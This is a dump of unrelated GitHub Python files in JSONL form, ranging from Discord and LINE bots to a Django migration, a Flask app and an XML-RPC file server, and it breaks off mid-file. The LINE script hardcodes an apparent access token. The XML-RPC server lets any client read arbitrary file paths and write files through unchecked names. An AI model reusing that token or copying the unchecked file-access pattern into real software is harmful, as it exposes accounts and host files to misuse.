skipping download\")\n return\n\n logger.debug(f\"Fetching {self} - PID: {os.getpid()}\")\n # Write the title plus the body, if any\n text_to_write = f\"# {self.post.title}\\n{self.post.selftext}\"\n with open(self.filename, \"w\", encoding=\"utf8\") as f:\n f.write(text_to_write)\n\n def has_output(self):\n \"\"\"Determine if structured output for this doc already exists.\"\"\"\n output_filename = self._output_filename()\n return output_filename.is_file() and output_filename.stat()\n\n def write_result(self):\n \"\"\"Write the structured json result for this doc. result must be json serializable.\"\"\"\n if self.config.download_only:\n return\n output_filename = self._output_filename()\n output_filename.parent.mkdir(parents=True, exist_ok=True)\n with open(output_filename, \"w\", encoding=\"utf8\") as output_f:\n json.dump(self.isd_elems_no_filename, output_f, ensure_ascii=False, indent=2)\n logger.info(f\"Wrote {output_filename}\")\n\n\n@requires_dependencies([\"praw\"], extras=\"reddit\")\nclass RedditConnector(BaseConnector):\n def __init__(self, config: SimpleRedditConfig):\n from praw import Reddit\n\n self.config = config\n self.reddit = Reddit(\n client_id=config.client_id,\n client_secret=config.client_secret,\n user_agent=config.user_agent,\n )\n self.cleanup_files = not config.preserve_downloads and not config.download_only\n\n def cleanup(self, cur_dir=None):\n if not self.cleanup_files:\n return\n\n if cur_dir is None:\n cur_dir = self.config.download_dir\n sub_dirs = os.listdir(cur_dir)\n os.chdir(cur_dir)\n for sub_dir in sub_dirs:\n # don't traverse symlinks, not that there every should be any\n if os.path.isdir(sub_dir) and not os.path.islink(sub_dir):\n self.cleanup(sub_dir)\n os.chdir(\"..\")\n if len(os.listdir(cur_dir)) == 0:\n os.rmdir(cur_dir)\n\n def initialize(self):\n pass\n\n def get_ingest_docs(self):\n subreddit = self.reddit.subreddit(self.config.subreddit_name)\n if self.config.search_query:\n posts = subreddit.search(self.config.search_query, limit=self.config.num_posts)\n else:\n posts = subreddit.hot(limit=self.config.num_posts)\n return [RedditIngestDoc(self.config, post) for post in posts]\n","repo_name":"zigax1/chat-with-pdf","sub_path":"lib/python3.8/site-packages/unstructured/ingest/connector/reddit.py","file_name":"reddit.py","file_ext":"py","file_size_in_byte":4751,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"38"} +{"seq_id":"71377262190","text":"import numpy as np\nimport logging\nimport os\nfrom copy import deepcopy\n\nfrom adaptsim.policy import policy_agent_dict\nfrom adaptsim.env.util.vec_env import VecEnvBase\n\n\ndef assign_val(particles, val_pairs):\n for val_pair in val_pairs:\n name, val_list = val_pair\n if isinstance(val_list, list):\n for p, val in zip(particles, val_list):\n setattr(p, name, val)\n # single value for all particle\n else:\n for p in particles:\n setattr(p, name, deepcopy(val_list))\n\n\nclass VecEnvParticle(VecEnvBase):\n\n def __init__(\n self,\n venv,\n device='cpu',\n pickle_option='cloudpickle',\n start_method=None,\n fig_folder=None,\n ):\n super(VecEnvParticle,\n self).__init__(venv, device, pickle_option, start_method)\n self.fig_folder = fig_folder\n\n def step(self, actions):\n return super().step(actions)\n\n def learn(\n self,\n tasks_all,\n cnt_itr=None,\n adapt_cnt_base=None,\n pid_all=None,\n step=None,\n twin_batch=None,\n **kwargs,\n ):\n \"\"\"Some args just for naming of the folder and path. Not the best design.\"\"\"\n if pid_all is not None:\n if adapt_cnt_base is None:\n out_folder_postfix_all = [\n 'itr-{}_pid-{}_target'.format(cnt_itr, pid)\n for pid in pid_all\n ]\n save_path_all = [\n os.path.join(\n self.fig_folder,\n 'itr-{}_pid-{}_target'.format(cnt_itr, pid)\n ) for pid in pid_all\n ]\n else:\n out_folder_postfix_all = [\n 'itr-{}_cnt-{}_step-{}_pid-{}'.format(\n cnt_itr, adapt_cnt_base + cnt, step, pid\n ) for cnt, pid in enumerate(pid_all)\n ]\n save_path_all = [\n os.path.join(\n self.fig_folder,\n 'itr-{}_cnt-{}_step-{}_pid-{}_target'.format(\n cnt_itr, adapt_cnt_base + cnt, step, pid\n )\n ) for cnt, pid in enumerate(pid_all)\n ]\n else:\n out_folder_postfix_all = [None for _ in range(self.n_envs)]\n save_path_all = [None for _ in range(self.n_envs)]\n if twin_batch is None:\n twin_batch = [None for _ in range(self.n_envs)]\n\n train_recv_all = self.env_method_arg(\n 'learn',\n [(tasks, out_folder_postfix, save_path, twin)\n for tasks, out_folder_postfix, save_path, twin in\n zip(tasks_all, out_folder_postfix_all, save_path_all, twin_batch)\n ], **kwargs\n )\n return [train_recv[0] for train_recv in train_recv_all], \\\n [train_recv[1] for train_recv in train_recv_all], \\\n [train_recv[2] for train_recv in train_recv_all]\n\n def evaluate(self, tasks_all, **kwargs):\n if isinstance(tasks_all[0], list):\n eval_recv_all = self.env_method_arg(\n 'evaluate', [(tasks,) for tasks in tasks_all], **kwargs\n )\n else: # a single task\n eval_recv_all = self.env_method_arg(\n 'evaluate', [(tasks_all,) for _ in range(self.n_envs)],\n **kwargs\n )\n return [eval_recv[0] for eval_recv in eval_recv_all], \\\n [eval_recv[1] for eval_recv in eval_recv_all], \\\n\n\nclass ParticleEnv():\n\n def __init__(self, cfg_policy, venv, seed):\n self.cfg_policy = cfg_policy\n self.cfg_policy.seed = seed\n\n # Policy training params\n self.init_max_sample_steps = cfg_policy.init_max_sample_steps\n self.max_sample_step_decay = cfg_policy.max_sample_step_decay\n self.max_sample_step_min = cfg_policy.max_sample_step_min\n\n # Initialize policy agent\n cfg_policy.max_sample_steps = self.init_max_sample_steps\n self.policy_agent = policy_agent_dict[cfg_policy.name\n ](self.cfg_policy, venv)\n\n def reset(self, particle):\n self.p = particle\n # logging.info('Received particle with id {}'.format(self.p.id))\n return np.array([], dtype=np.single)\n\n def update_policy_agent_cfg(self):\n itr = self.p.lifetime - 1 # yikes... as we already increment lifetime for the particle before calling learn() here\n # logging.info('lifetime: {}'.format(itr))\n max_sample_steps = max(\n self.init_max_sample_steps - self.max_sample_step_decay * itr,\n self.max_sample_step_min\n )\n self.policy_agent.max_sample_steps = max_sample_steps\n\n def learn(\n self,\n train_tasks,\n out_folder_postfix,\n save_path,\n twin,\n ):\n\n if len(train_tasks) == 0:\n assert twin\n logging.info(\n 'Copying from twin id {}; no training'.format(twin.id)\n )\n return twin.policy, twin.memory, twin.optim\n else:\n if twin is not None:\n policy = twin.policy\n optim = twin.optim\n memory = twin.memory\n logging.info(\n 'Copying from twin id {}; training'.format(twin.id,)\n )\n else:\n policy = self.p.policy\n optim = self.p.optim\n memory = self.p.memory\n\n # Update max sample steps based on particle lifetime\n self.update_policy_agent_cfg()\n\n # Run\n new_policy, new_memory, new_optim = self.policy_agent.learn(\n train_tasks,\n policy_path=policy,\n optimizer_state=optim,\n memory=memory,\n out_folder_postfix=out_folder_postfix,\n save_path=save_path,\n # reuse_policy=reuse_policy\n )\n return new_policy, new_memory, new_optim\n\n def evaluate(\n self,\n test_tasks,\n # use_particle_policy=False,\n # reuse_policy=False\n ):\n meta_reward, meta_info = self.policy_agent.evaluate(\n test_tasks,\n policy_path=self.p.policy,\n # reuse_policy=reuse_policy\n )\n return meta_reward, meta_info\n\n def evaluate_real(self, tasks_all):\n \"\"\"\n Actually return information is not used; instead load saved file containing the results.\"\"\"\n self.policy_agent.evaluate_real(tasks_all, policy_path=self.p.policy)\n","repo_name":"irom-lab/AdaptSim","sub_path":"adaptsim/agent/particle_env.py","file_name":"particle_env.py","file_ext":"py","file_size_in_byte":6681,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"38"} +{"seq_id":"3379305420","text":"def turki2farsi(tnumber):\n number = {\n \"bir\": 1,\n \"iki\": 2,\n \"uoch\": 3,\n \"dord\": 4,\n \"besh\": 5,\n \"alteh\": 6,\n \"yedeh\": 7,\n \"sekiz\": 8,\n \"doghuz\": 9,\n \"on\": 10\n }\n if tnumber in number:\n return number[tnumber]\n\ntnumber = input(\"import the turki nember:\")\nfnumber = turki2farsi(tnumber)\nif type(fnumber) == int:\n print(\"farsi number=\", fnumber)\nelse:\n print(fnumber)","repo_name":"hoseinvsc/testing-python","sub_path":"test12.py","file_name":"test12.py","file_ext":"py","file_size_in_byte":456,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"38"} +{"seq_id":"39553545785","text":"\"\"\"\nDownload datasets for testing\n\"\"\"\n# pylint: disable=C0116\nimport os\nimport subprocess\n\n# Paths\ntest_path = os.path.dirname(__file__)\ndata_path = os.path.join(test_path, \"data\")\n\n# Download data\ntar_path = os.path.join(test_path, \"cf-tools-data.tar.gz\")\nURL = \"https://ndownloader.figshare.com/files/27249593\"\n\n\ndef pytest_configure():\n # Download data\n if not os.path.exists(data_path):\n # Download data\n print(f\"Downloading data to [{data_path}]\", end=\" - \")\n commands = [\n f\"wget -v -O {tar_path} -L {URL}\",\n f\"tar xvzf {tar_path} -C {test_path}\",\n f\"rm -f {tar_path}\",\n ]\n subprocess.call(\" && \".join(commands), shell=True)\n print(\"done\")\n","repo_name":"NOC-MSM/cf-tools","sub_path":"cf_tools/tests/conftest.py","file_name":"conftest.py","file_ext":"py","file_size_in_byte":727,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"38"} +{"seq_id":"41964587311","text":"import math\n\ndef Check(n):\n if n < 2:\n return 0\n for i in range(2, int(math.sqrt(n) + 1)):\n if n % i == 0: \n return 0\n return 1\n\nip = list(map(int, input().split()))\nfor i in range(ip[0]):\n line = list(map(int, input().split()))\n for j in line:\n print(Check(j), end=' ')\n print(\"\")","repo_name":"kidlovecat/Python-Ptit","sub_path":"kiem_tra_nguyen_to_02031.py","file_name":"kiem_tra_nguyen_to_02031.py","file_ext":"py","file_size_in_byte":331,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"38"} +{"seq_id":"25286549654","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import models, migrations\nimport jsonfield.fields\nimport corpus.fields\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ]\n\n operations = [\n migrations.CreateModel(\n name='Entity',\n fields=[\n ('id', models.AutoField(auto_created=True, verbose_name='ID', primary_key=True, serialize=False)),\n ('key', models.CharField(max_length=256)),\n ],\n options={\n 'ordering': ['kind', 'key'],\n 'abstract': False,\n },\n bases=(models.Model,),\n ),\n migrations.CreateModel(\n name='EntityKind',\n fields=[\n ('id', models.AutoField(auto_created=True, verbose_name='ID', primary_key=True, serialize=False)),\n ('name', models.CharField(max_length=256, unique=True)),\n ],\n options={\n 'ordering': ['name'],\n 'abstract': False,\n },\n bases=(models.Model,),\n ),\n migrations.CreateModel(\n name='EntityOccurrence',\n fields=[\n ('id', models.AutoField(auto_created=True, verbose_name='ID', primary_key=True, serialize=False)),\n ('offset', models.IntegerField()),\n ('offset_end', models.IntegerField()),\n ('alias', models.CharField(max_length=256)),\n ],\n options={\n 'ordering': ['document', 'offset', 'offset_end'],\n 'abstract': False,\n },\n bases=(models.Model,),\n ),\n migrations.CreateModel(\n name='IEDocument',\n fields=[\n ('id', models.AutoField(auto_created=True, verbose_name='ID', primary_key=True, serialize=False)),\n ('human_identifier', models.CharField(max_length=256, unique=True)),\n ('title', models.CharField(max_length=256)),\n ('url', models.URLField()),\n ('text', models.TextField()),\n ('creation_date', models.DateTimeField(auto_now_add=True)),\n ('tokens', corpus.fields.ListField()),\n ('offsets_to_text', corpus.fields.ListField()),\n ('postags', corpus.fields.ListField()),\n ('sentences', corpus.fields.ListField()),\n ('tokenization_done_at', models.DateTimeField(blank=True, null=True)),\n ('sentencer_done_at', models.DateTimeField(blank=True, null=True)),\n ('tagging_done_at', models.DateTimeField(blank=True, null=True)),\n ('ner_done_at', models.DateTimeField(blank=True, null=True)),\n ('segmentation_done_at', models.DateTimeField(blank=True, null=True)),\n ('metadata', jsonfield.fields.JSONField(blank=True)),\n ],\n options={\n 'abstract': False,\n },\n bases=(models.Model,),\n ),\n migrations.CreateModel(\n name='LabeledRelationEvidence',\n fields=[\n ('id', models.AutoField(auto_created=True, verbose_name='ID', primary_key=True, serialize=False)),\n ('label', models.CharField(default='SK', max_length=2, choices=[('NO', 'No relation present'), ('YE', 'Yes, relation is present'), ('DK', \"Don't know if the relation is present\"), ('SK', 'Skipped labeling of this evidence'), ('NS', 'Evidence is nonsense')])),\n ('date', models.DateTimeField(auto_now_add=True)),\n ('judge', models.CharField(max_length=256)),\n ('left_entity_occurrence', models.ForeignKey(to='corpus.EntityOccurrence', related_name='left_evidence_relations')),\n ],\n options={\n 'abstract': False,\n },\n bases=(models.Model,),\n ),\n migrations.CreateModel(\n name='Relation',\n fields=[\n ('id', models.AutoField(auto_created=True, verbose_name='ID', primary_key=True, serialize=False)),\n ('name', models.CharField(max_length=256)),\n ('left_entity_kind', models.ForeignKey(to='corpus.EntityKind', related_name='left_relations')),\n ('right_entity_kind', models.ForeignKey(to='corpus.EntityKind', related_name='right_relations')),\n ],\n options={\n 'ordering': ['name', 'left_entity_kind', 'right_entity_kind'],\n 'abstract': False,\n },\n bases=(models.Model,),\n ),\n migrations.CreateModel(\n name='TextSegment',\n fields=[\n ('id', models.AutoField(auto_created=True, verbose_name='ID', primary_key=True, serialize=False)),\n ('offset', models.IntegerField(db_index=True)),\n ('offset_end', models.IntegerField(db_index=True)),\n ('document', models.ForeignKey(to='corpus.IEDocument', related_name='segments')),\n ],\n options={\n 'ordering': ['document', 'offset', 'offset_end'],\n 'abstract': False,\n },\n bases=(models.Model,),\n ),\n migrations.AlterUniqueTogether(\n name='textsegment',\n unique_together=set([('document', 'offset', 'offset_end')]),\n ),\n migrations.AlterUniqueTogether(\n name='relation',\n unique_together=set([('name', 'left_entity_kind', 'right_entity_kind')]),\n ),\n migrations.AddField(\n model_name='labeledrelationevidence',\n name='relation',\n field=models.ForeignKey(to='corpus.Relation', related_name='evidence_relations'),\n preserve_default=True,\n ),\n migrations.AddField(\n model_name='labeledrelationevidence',\n name='right_entity_occurrence',\n field=models.ForeignKey(to='corpus.EntityOccurrence', related_name='right_evidence_relations'),\n preserve_default=True,\n ),\n migrations.AddField(\n model_name='labeledrelationevidence',\n name='segment',\n field=models.ForeignKey(to='corpus.TextSegment'),\n preserve_default=True,\n ),\n migrations.AddField(\n model_name='entityoccurrence',\n name='document',\n field=models.ForeignKey(to='corpus.IEDocument', related_name='entity_occurrences'),\n preserve_default=True,\n ),\n migrations.AddField(\n model_name='entityoccurrence',\n name='entity',\n field=models.ForeignKey(to='corpus.Entity'),\n preserve_default=True,\n ),\n migrations.AddField(\n model_name='entityoccurrence',\n name='segments',\n field=models.ManyToManyField(to='corpus.TextSegment', related_name='entity_occurrences'),\n preserve_default=True,\n ),\n migrations.AlterUniqueTogether(\n name='entityoccurrence',\n unique_together=set([('entity', 'document', 'offset', 'offset_end')]),\n ),\n migrations.AddField(\n model_name='entity',\n name='kind',\n field=models.ForeignKey(to='corpus.EntityKind'),\n preserve_default=True,\n ),\n migrations.AlterUniqueTogether(\n name='entity',\n unique_together=set([('key', 'kind')]),\n ),\n ]\n","repo_name":"machinalis/iepy","sub_path":"iepy/webui/corpus/migrations/0001_initial.py","file_name":"0001_initial.py","file_ext":"py","file_size_in_byte":7514,"program_lang":"python","lang":"en","doc_type":"code","stars":906,"dataset":"github-code","pt":"38"} +{"seq_id":"13975336465","text":"from flask_app import app\nfrom flask_app.models.email_model import Email\nfrom flask import render_template, redirect, request\n\n@app.route('/')\ndef home():\n emails = Email.read_all()\n return render_template('index.html', emails=emails)\n\n@app.route('/insert', methods=['POST'])\ndef insert_email():\n if not Email.validate_email(request.form['email']):\n return redirect('/')\n data = {\n \"email\": request.form['email']\n }\n Email.insert(data)\n return redirect('/success')\n\n@app.route('/success')\ndef success():\n emails = Email.read_all()\n return render_template('success.html', emails=emails)","repo_name":"Codeing-Dojo-Repos/EmailValidationDB","sub_path":"flask_app/controllers/emails_controller.py","file_name":"emails_controller.py","file_ext":"py","file_size_in_byte":626,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"2704736710","text":"import xmlrpc.server\nimport subprocess\nfrom os import listdir\nfrom os.path import isfile, join\nimport xmlrpc.client\nfrom tkinter import *\nfrom xmlrpc.server import SimpleXMLRPCServer\nfrom xmlrpc.server import SimpleXMLRPCRequestHandler\nfrom threading import Thread\nclient = 'a'\nconnection = []\nclient_label = 'a'\nip = \"192.168.100.3\"\nport = 8003\n\ndef start_server():\n server.serve_forever()\ndef start_thread():\n button.destroy()\n button2 = Button(window,command=dis,text=\"GET BEST CLIENT\")\n button2.pack()\n thread = Thread(target=start_server)\n thread.start()\ndef start_window():\n window.mainloop()\ndef clientList():\n for i in range(len(connection)):\n print(connection[i])\ndef cekDirektori():\n #print((a))\n mypath=\"R:/FTPServer\"\n onlyfiles = [f for f in listdir(mypath) if isfile(join(mypath, f))]\n\n # for i in range(len(onlyfiles)):\n # print(onlyfiles[i])\n return onlyfiles\n\ndef upload(filename,file):\n \n try:\n path = \"R:/FTPServer/\"+filename\n with open(path,\"wb\") as pointer: \n pointer.write(file.data) \n pointer.close()\n x=0\n for i in connection:\n if i['ip'] == client:\n i['activity_point']+=1\n x=1\n print(i['ip'],\"Telah Melakukan Upload\")\n break\n if x == 0 :\n objek = {'ip' : client, 'activity_point' : 1}\n print(objek['ip'],\"Telah Melakukan Upload\")\n connection.append(objek)\n return True\n except:\n return \"Error\"\ndef recieveFile(file):\n print(file)\n try:\n with open(file,\"rb\") as pointer:\n data = xmlrpc.client.Binary(pointer.read())\n #print(data)\n pointer.close()\n x=0\n for i in connection:\n if i['ip'] == client:\n i['activity_point']+=1\n x=1\n print(i['ip'],\"Telah Melakukan Download\")\n break\n if x == 0 :\n objek = {'ip' : client, 'activity_point' : 1}\n print(objek['ip'],\"Telah Melakukan Download\")\n connection.append(objek)\n return data\n except:\n return \"Error\"\n\nclass RequestHandler(SimpleXMLRPCRequestHandler):\n rpc_paths = ('/RPC2')\n def __init__(self, request, client_address, server):\n global client\n client = client_address[0]\n SimpleXMLRPCRequestHandler.__init__(self, request, client_address, server)\n\ndef dis():\n global connection\n connection = sorted(connection, key= lambda x:x['activity_point'],reverse=True)\n best_client.config(text=connection[0])\ndef display_all_client():\n global client_label\n try:\n print(\"X\")\n for i in connection:\n item = connection[i]\n \n except:\n client_label = Label(window,text=connection[0])\n client_label.pack()\n\n# Membuat server\nserver = SimpleXMLRPCServer((ip,port), requestHandler=RequestHandler)\nserver.register_introspection_functions()\n\n# Agar dapat diakses Client\nserver.register_function(upload,'FTPUpload')\nserver.register_function(recieveFile,'FTPDownload')\nserver.register_function(cekDirektori,'FTPDirectory')\n\n# Membuat Tampilan\nwindow = Tk()\nwindow.geometry('500x500')\nwindow.configure(bg='#fbcffc')\nbutton = Button(window,command=start_thread,text=\"START SERVER\",bg='#be79df')\nbutton.pack()\nbuttonC = Button(window,command=display_all_client,text=\"GET CLIENT\",bg='#be79df')\nbuttonC.pack()\nbest_client=Label(window,text=\"None\")\nbest_client.pack()\nwindow.mainloop()\n","repo_name":"yusufyst/Sister","sub_path":"Server_side.py","file_name":"Server_side.py","file_ext":"py","file_size_in_byte":3567,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"26092484347","text":"from django.shortcuts import render\nfrom .forms import VenueForm\n\n\n\ndef home(request):\n\n form = VenueForm()\n\n if request.method == 'POST':\n form = VenueForm(request.POST)\n if form.is_valid():\n form.save()\n\n \n context = {'form':form}\n return render(request, 'home.html', context)\n","repo_name":"myczu/Formularz","sub_path":"main/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":328,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"20399559499","text":"from setuptools import setup, find_packages\nimport os\n\nversion = '0.1'\n\ntests_require = ['collective.testcaselayer']\n\nsetup(name='collective.contemplate',\n version=version,\n description=\"Add content from existing content templates\",\n long_description=open(os.path.join(\n \"src\", \"collective\", \"contemplate\", \"README.txt\"\n )).read() + \"\\n\" + open(os.path.join(\n \"docs\", \"HISTORY.txt\")).read() + \"\\n\" + open(os.path.join(\n \"docs\", \"TODO.txt\")).read(),\n # Get more strings from http://www.python.org/pypi?%3Aaction=list_classifiers\n classifiers=[\n \"Programming Language :: Python\",\n \"Topic :: Software Development :: Libraries :: Python Modules\",\n ],\n keywords='',\n author='Ross Patterson',\n author_email='me@rpatterson.net',\n url='http://pypi.python.org/pypi/collective.contemplate',\n license='GPL',\n packages=find_packages('src', exclude=['ez_setup']),\n package_dir = {'':'src'},\n namespace_packages=['collective'],\n include_package_data=True,\n zip_safe=False,\n install_requires=[\n 'setuptools',\n # -*- Extra requirements: -*-\n ],\n tests_require=tests_require,\n extras_require={'tests': tests_require},\n entry_points=\"\"\"\n # -*- Entry points: -*-\n \"\"\",\n )\n","repo_name":"collective/collective.contemplate","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":1344,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"19837857909","text":"# bot.py\nimport os\nimport random\nimport pprint as pp\nimport discord\nfrom discord.ext import commands\nfrom dotenv import load_dotenv\nfrom championship import Championship\nfrom team import Team\n\nload_dotenv()\n\nTOKEN = os.getenv('DISCORD_TOKEN')\nCOMMAND_CREATE_WINGMAN_TEAMS='create wingman teams'\nintents = discord.Intents.default()\nintents.members = True\nbot = commands.Bot(command_prefix='!', intents=intents)\n\n\n\n@bot.command(name='ajuda')\nasync def help(ctx):\n msg = \"9? 99? 999?\\n\"\n msg += \"Comando: !patifaria\\n\"\n msg += \"Descricao: sorteia 2 times e move os jogadores para as salas Time 1 e Time 2\\n\"\n msg += \"Obs1: todos os jogadores devem estar em uma mesma sala (nao importa qual sala)\\n\"\n msg += \"Obs2: o comando pode ser usado pra criar partidas NxN, se N for impar, NxN+1\\n\\n\"\n \n msg += \"Comando: !wingman player1, player2, ..., playerN\\n\"\n msg += \"Descricao: sorteia a lista de jogadores e os separa em N/2 times\"\n\n await ctx.send(msg)\n\n\n@bot.command(name='wingman')\nasync def create_wingman_teams(ctx, *, arg):\n players = get_players(arg)\n if(len(players) % 2 != 0):\n await ctx.send('Número ímpar de jogadores, alguem se fudeu')\n players.pop()\n\n championship = Championship()\n teams = championship.create_wingman_teams(players)\n final_message=format_teams_message(teams)\n print(final_message)\n await ctx.send(final_message)\n \n\n@bot.command(name='patifaria')\nasync def create_5v5(ctx):\n members_in_current_channel = []\n team_1 = []\n team_2 = []\n author = ctx.author\n pp.pprint(author) \n voice_channels = ctx.guild.voice_channels\n voice_channel_1, voice_channel_2 = get_5v5_channels(voice_channels)\n\n for channel in voice_channels:\n pp.pprint(channel.name)\n\n if author in channel.members:\n members_in_current_channel = channel.members\n pp.pprint(members_in_current_channel) \n team_1, team_2 = sort_5v5_teams(members_in_current_channel)\n\n if team_1:\n for player in team_1:\n await player.move_to(voice_channel_1)\n if team_2:\n for player in team_2:\n await player.move_to(voice_channel_2)\n\n\n@bot.command(name='despatifaria')\nasync def move_players_from_teams_to_main_channel(ctx):\n voice_channels = ctx.guild.voice_channels\n \n lobby_channel = get_lobby_channel(voice_channels)\n voice_channel_1, voice_channel_2 = get_5v5_channels(voice_channels)\n \n for member in voice_channel_1.members:\n await member.move_to(lobby_channel)\n\n for member in voice_channel_2.members:\n await member.move_to(lobby_channel)\n\n\ndef get_lobby_channel(voice_channels):\n channel_name='Lobby' \n for channel in voice_channels:\n if channel.name == channel_name:\n return channel\n return channel[0]\n\n\ndef get_5v5_channels(voice_channels):\n voice_channel_1 = None\n voice_channel_2 = None\n for channel in voice_channels:\n if channel.name == \"Time 1\":\n voice_channel_1 = channel\n \n if channel.name == \"Time 2\":\n voice_channel_2 = channel\n\n return voice_channel_1, voice_channel_2\n\n\ndef sort_5v5_teams(members):\n random.shuffle(members)\n team_1_count = int(len(members)/2)\n team_1 = members[:len(members)//2]\n team_2 = members[len(members)//2:]\n return team_1, team_2\n\n\ndef format_teams_message(teams):\n final_message = '9? 99? 999?\\n'\n for team in teams:\n final_message += f'{team.name}: {team.players[0]} e {team.players[1]}\\n'\n return final_message\n\n\ndef get_players(players_string):\n players_list = list(players_string.split(','))\n random.shuffle(players_list)\n return players_list\n\nbot.run(TOKEN)\n","repo_name":"williamsumida/csin-py","sub_path":"bot.py","file_name":"bot.py","file_ext":"py","file_size_in_byte":3698,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"4433241942","text":"from urllib import response\nimport requests\nimport logging\n\nlogger = logging.getLogger(__name__)\nLINE_URL = 'https://notify-api.line.me/api/notify'\n\ndef notify(token, msg):\n headers = {\"Authorization\": \"Bearer \" + token, \"Content-Type\" : \"application/x-www-form-urlencoded\"}\n payload = {'message': msg}\n response = requests.post(LINE_URL, headers = headers, params = payload)\n return response.status_code\n\n\ndef main():\n line_token = 'lrurcaHLCSYhh7tYokh3WmBaePlR8O2FYnCGRLpJmXq'\n msg = '\\n測試'\n status_code = notify(line_token, msg)\n print(status_code)\n\nif __name__ == '__main__':\n logging.basicConfig(\n level = logging.INFO,\n format = '%(asctime)s %(levelname)s %(message)s')\n main()\n","repo_name":"Osalamia/Weather_broadcaster_line_notification","sub_path":"line_notification.py","file_name":"line_notification.py","file_ext":"py","file_size_in_byte":732,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"36612558023","text":"import csv\nwith open('gamers.csv', 'r') as myCSVFile:\n reader = csv.reader(myCSVFile, delimiter=';')\n hoogstescore = 0\n for row in reader:\n score = int(row[2])\n if score > hoogstescore:\n hoogstescore = score\n hoogstenaam = row[0]\n hoogstedatum = row[1]\n print(hoogstescore, hoogstenaam, hoogstedatum)","repo_name":"sandokan2000/TICT-V1PROG-15","sub_path":"Practise exercises/9_3.py","file_name":"9_3.py","file_ext":"py","file_size_in_byte":359,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"3681602076","text":"from itertools import combinations\n\ndef go(m):\n s = 0\n for i in range(len(m)):\n for j in range(i+1, len(m)):\n s += arr[m[i]][m[j]]\n s += arr[m[j]][m[i]]\n\n return s\n\nT = int(input())\nfor case in range(1, T+1):\n N = int(input())\n arr = [list(map(int,input().split())) for _ in range(N)]\n lst = list(combinations([i for i in range(N)], N//2))\n score = []\n ans = 1000000\n for idx in range(len(lst)//2):\n score1 = go(lst[idx])\n score2 = go(lst[len(lst)-1-idx])\n ans = min(ans, abs(score1 - score2))\n\n print(\"#%d\"%(case), ans)","repo_name":"Sunghwan-DS/TIL","sub_path":"Python/SWEA/SWEA_4012.py","file_name":"SWEA_4012.py","file_ext":"py","file_size_in_byte":600,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"73192419312","text":"from rich import print\nfrom rich.traceback import install\nfrom rich.table import Table\nfrom rich.console import Console\n\ninstall()\nconsole = Console()\n\nPEOPLE = [\"john\", \"paul\", \"george\", \"ringo\"]\nPEOPLE_TIMES = {\"john\": 1, \"paul\": 2, \"george\": 5, \"ringo\": 10, None: -1}\nMAX_TIME = 17\n\n\ndef slowest_time(person1: str, person2: str = None) -> int:\n return max(PEOPLE_TIMES[person1], PEOPLE_TIMES[person2])\n\n\ndef display_result(result: tuple[list[str], int]):\n left = [\"J\", \"P\", \"G\", \"R\"]\n right = []\n table = Table(show_footer=True)\n table.add_column(\"Start\", style=\"red\")\n table.add_column(\"River\", style=\"bright_blue\")\n table.add_column(\"End\", style=\"green\", footer=\"[green]\" + (\" \".join(left.copy())))\n table.add_column(\n \"Minutes\", style=\"bright_yellow\", footer=\"[bright_yellow]\" + str(result[1])\n )\n for index, i in enumerate(result[0]):\n table.add_row(\n \" \".join(left),\n (\"<-- \" if index % 2 == 1 else \"\")\n + (\n \" \".join([ii[0].upper() for ii in i[4:].split(\" + \")])\n if index % 2 == 0\n else i[4].upper()\n )\n + (\" -->\" if index % 2 == 0 else \"\"),\n \" \".join(right),\n str(\n slowest_time(i[4:])\n if index % 2 == 1\n else slowest_time(*(i[4:].split(\" + \")))\n ),\n )\n if index % 2 == 0:\n left.remove([ii[0] for ii in i[4:].split(\" + \")][0].upper())\n left.remove([ii[0] for ii in i[4:].split(\" + \")][1].upper())\n right.append([ii[0] for ii in i[4:].split(\" + \")][0].upper())\n right.append([ii[0] for ii in i[4:].split(\" + \")][1].upper())\n else:\n right.remove(i[4].upper())\n left.append(i[4].upper())\n return table\n\n\ndef see_rich_results(results: list[tuple[list[str], int]]) -> Table:\n max_length = max([len(i[0]) for i in results])\n table = Table()\n table.add_column(\"Time\", style=\"bright_yellow\")\n for i in range(max_length):\n if i % 2 == 0:\n table.add_column(\"-->\", style=\"green\")\n else:\n table.add_column(\"<--\", style=\"red\")\n\n for i in results:\n table.add_row(str(i[1]), *[ii[4:].title() for ii in i[0]])\n return table\n\n\ndef recursive():\n successes = []\n fails = []\n\n def func(\n time: int, at_dock: bool, right: list[str], left: list[str], chain: list\n ) -> bool:\n if time > MAX_TIME:\n fails.append(\n (\n chain,\n sum(\n [\n (\n slowest_time(i[4:])\n if index % 2 == 1\n else slowest_time(*(i[4:].split(\" + \")))\n )\n for index, i in enumerate(chain)\n ]\n ),\n )\n )\n return\n if len(left) == 4:\n successes.append(\n (\n chain,\n sum(\n [\n (\n slowest_time(i[4:])\n if index % 2 == 1\n else slowest_time(*(i[4:].split(\" + \")))\n )\n for index, i in enumerate(chain)\n ]\n ),\n )\n )\n return\n if at_dock:\n for person1 in right:\n for person2 in right:\n if person1 != person2:\n tempright = right.copy()\n tempright.remove(person1)\n tempright.remove(person2)\n templeft = left.copy()\n templeft.append(person1)\n 